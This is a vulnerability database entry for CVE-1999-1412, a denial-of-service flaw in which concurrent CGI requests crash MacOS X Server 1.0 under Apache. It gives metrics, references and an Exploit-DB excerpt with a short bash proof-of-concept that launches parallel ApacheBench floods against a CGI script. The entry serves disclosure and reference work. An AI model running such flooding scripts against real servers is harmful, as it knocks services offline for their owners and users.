CVE-1999-1412 : Detail

CVE-1999-1412

0.23%V3
Network
2001-09-12
02h00 +00:00
2024-08-01
17h11 +00:00
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CVE Descriptions

A possible interaction between Apple MacOS X release 1.0 and Apache HTTP server allows remote attackers to cause a denial of service (crash) via a flood of HTTP GET requests to CGI programs, which generates a large number of processes.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE Other No informations.

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P [email protected]

EPSS

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EPSS Score

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EPSS Percentile

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Exploit information

Exploit Database EDB-ID : 19244

Publication date : 1999-06-02 22h00 +00:00
Author : Juergen Schmidt
EDB Verified : Yes

source: https://www.securityfocus.com/bid/306/info A vulnerability in the MacOS X Server may crash it while under heavy load. The vulnerability appears while stress testing a server running the Apache web server and 32 or more process are concurntly doing HTTP GET request to a CGI script in a loop. The system will panic and display a stack trace with ipc_task_init. Although the vulnerability is not related to web servering it can only be reproduced so far using this means. #!/bin/bash # # CGI-McPanic: script to crash MacOS X with # concurrent calls to a CGI-Script # # before use, do: # # chmod a+x /Local/Library/WebServer/CGI-Executables/test-cgi # # then call # # bash ./CGI-McPanic # NUMPROC=32 i=0 while [ $i -le $NUMPROC ] do i=$[$i + 1] ab -t 3600 http://localhost/cgi-bin/test-cgi & done

Products Mentioned

Configuraton 0

Apache>>Http_server >> Version -

Apple>>Macos >> Version 1.0

References

http://www.securityfocus.com/archive/1/14215
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http://www.securityfocus.com/bid/306
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